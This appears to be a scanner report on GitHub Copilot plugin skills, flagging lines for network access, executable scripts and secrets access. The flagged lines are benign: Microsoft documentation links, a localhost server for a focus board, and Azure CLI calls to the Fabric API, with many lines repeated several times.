|-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.type - Network accessline 118
| `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | - Network accessline 119
| `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.typename}` | - Network accessline 121
For example, `Microsoft.UI.Xaml.Controls.NavigationView` maps to: `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview` - Network accessline 122
`https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview` - Network accessline 229
- [Windows Platform SDK API reference](https://learn.microsoft.com/uwp/api/) — documentation for `Windows.*` namespaces - Network accessline 230
- [Windows App SDK API reference](https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/) — documentation for `Microsoft.*` WinAppSDK namespaces
harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/Invoke-WinMdQuery.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/Update-WinMdCache.ps1
harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.dgspec.json
harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.props
harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.targets
harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/project.assets.json
harness/github-copilot/plugins/ember/skills/daily-focus-board/SKILL.md
- Network accessline 61
1. Gather the task list from the user or their message. Capture a short title, optional `emoji`, optional `sub` note, optional `tag`, optional `due`, optional `quad`, and counter fields when the task has a numeric goal. 2. Generate `focus-b - Network accessline 62
2. Generate `focus-board.html` from `assets/board.template.html`, escaping injected JSON as described above. 3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scr - Network accessline 63
3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scripts/serve-board.ps1`. - Network accessline 64
4. Open the board in a browser canvas side panel when the host supports it; otherwise open `http://localhost:8799/focus-board.html` in the default browser. 5. Drive the board through conversation: keep status and notes in the browser, regen - Network accessline 111
**Status:** created | needs input | blocked **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` - Network accessline 112
**Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` **Date key:** `<YYYY-MM-DD>` - Network accessline 113
**Open URL:** `http://localhost:8799/focus-board.html`
harness/github-copilot/plugins/ember/skills/daily-focus-board/references/neurodivergent-design.md
- Network accessline 50
- **Executive function — task initiation, activation energy, time management, working memory** — CHADD (Children and Adults with ADHD), the leading ADHD nonprofit: - *Executive Function Skills* — https://chadd.org/about-adhd/executive-f - Network accessline 51
CHADD (Children and Adults with ADHD), the leading ADHD nonprofit: - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/ - *Executive Function Issues and ADHD* (Brown & Barkley models) — - Network accessline 52
- *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/ - Network accessline 53
- *Executive Function Issues and ADHD* (Brown & Barkley models) — https://chadd.org/attention-article/executive-function-issues-and-adhd/ - **Body doubling** — focus improving in the presence of a partner; the board's core premise - Network accessline 54
https://chadd.org/attention-article/executive-function-issues-and-adhd/ - Network accessline 55
- **Body doubling** — focus improving in the presence of a partner; the board's core premise ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* — https://www.simplypsychology.com/articles/body-doubling-adhd - Network accessline 56
("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* — https://www.simplypsychology.com/articles/body-doubling-adhd - **Reduced motion / sensory sensitivity** — behind the reduced-motion toggle and honoring the - Network accessline 57
https://www.simplypsychology.com/articles/body-doubling-adhd - Network accessline 59
`prefers-reduced-motion` setting: - MDN, *`prefers-reduced-motion`* — https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - Network accessline 60
- MDN, *`prefers-reduced-motion`* — https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* — - Network accessline 61
https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - Network accessline 62
- W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* — https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious - Network accessline 63
https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - Network accessline 64
- **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious Leadership Group, *Locating Yourself: A Key to Conscious Leadership* — https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - Network accessline 65
Group, *Locating Yourself: A Key to Conscious Leadership* — https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"): - Network accessline 66
https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - Network accessline 67
- **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"): - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix - Todoist, *The Eisenhower Matrix* — https://todoist - Network accessline 68
- Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix - Network accessline 69
- Todoist, *The Eisenhower Matrix* — https://todoist.com/productivity-methods/eisenhower-matrix - Network accessline 71
self-compassion.org — https://self-compassion.org/
harness/github-copilot/plugins/ember/skills/daily-focus-board/references/tutorial.md
- Network accessline 22
1. Ask Ember to make the board. It serves the folder (e.g. `python -m http.server 8790 --bind 127.0.0.1`) and gives you an `http://localhost:…/…html` URL. - Network accessline 23
you an `http://localhost:…/…html` URL. - Network accessline 34
> localStorage needs an `http://` origin, so always **serve ** the folder rather than double-clicking
harness/github-copilot/plugins/ember/skills/daily-focus-board/scripts/serve-board.ps1
- Executable scriptline 1
Executable file - Network accessline 18
Write-Error "The server exited on startup (code $($proc.ExitCode)) — is Python installed and the port free?"; exit 1 } $url = "http://localhost:$Port/$File" - Network accessline 19
} $url = "http://localhost:$Port/$File" Write-Host "Focus board: $url" - Network accessline 20
$url = "http://localhost:$Port/$File"
harness/github-copilot/plugins/eyeball/skills/eyeball/tools/eyeball.py
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/COMMON-CLI.md
- Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
